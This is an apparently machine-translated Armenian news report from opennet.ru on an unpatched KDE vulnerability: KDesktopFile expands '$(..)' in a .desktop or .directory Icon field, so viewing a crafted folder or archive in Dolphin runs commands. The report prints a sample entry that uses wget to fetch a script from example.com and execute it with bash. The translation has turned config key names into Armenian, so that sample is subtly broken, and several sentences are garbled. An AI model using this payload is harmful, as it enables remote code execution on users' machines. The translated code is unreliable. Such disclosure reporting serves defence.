KDE կոդի կատարման խոցելիություն ֆայլերի ցանկը դիտելիս

KDE-ում բացահայտված խոցելիություն, որը հարձակվողին թույլ է տալիս կամայական հրամաններ կատարել, երբ օգտատերը դիտում է հատուկ մշակված «.desktop» և «.directory» ֆայլեր պարունակող գրացուցակը կամ արխիվը: Հարձակումը պահանջում է, որ օգտվողը պարզապես դիտի ֆայլերի ցանկը Dolphin ֆայլերի կառավարիչում, ներբեռնի վնասակար աշխատասեղանի ֆայլը կամ քաշեք դյուրանցումը աշխատասեղանի վրա կամ փաստաթղթի մեջ: Խնդիրն արտահայտվում է գրադարանների ներկայիս թողարկումով KDE շրջանակներ 5.60.0 և ավելի հին տարբերակները՝ մինչև KDE 4: Խոցելիությունը դեռևս կա մնում է չուղղված (CVE նշանակված չէ):

Խնդիրն առաջանում է KDesktopFile դասի սխալ իրականացումից, որը «Icon» փոփոխականը մշակելիս, առանց պատշաճ փախուստի, արժեքը փոխանցում է KConfigPrivate::expandString() ֆունկցիային, որն իրականացնում է կեղևի հատուկ նիշերի ընդլայնում, ներառյալ մշակումը: «$(..)» տողերը որպես հրամաններ, որոնք պետք է կատարվեն: Հակառակ XDG հստակեցման պահանջների, իրականացում բացահայտում կեղևի կոնստրուկցիաները արտադրվում են առանց պարամետրերի տեսակը առանձնացնելու, այսինքն. ոչ միայն գործարկվող հավելվածի հրամանի տողը որոշելիս, այլ նաև լռելյայն ցուցադրվող պատկերակները նշելիս:

Օրինակ՝ հարձակվել բավարար է ուղարկեք օգտվողին zip արխիվ՝ «.directory» ֆայլ պարունակող գրացուցակով, ինչպիսին է՝

[Desktop Entry] Type=Տեղեկատու
Պատկերակ[$e]=$(wget${IFS}https://example.com/FILENAME.sh&&/bin/bash${IFS}FILENAME.sh)

Երբ փորձեք դիտել արխիվի բովանդակությունը Dolphin ֆայլերի կառավարիչում, https://example.com/FILENAME.sh սկրիպտը կներբեռնվի և կկատարվի:


Source: opennet.ru

Добавить комментарий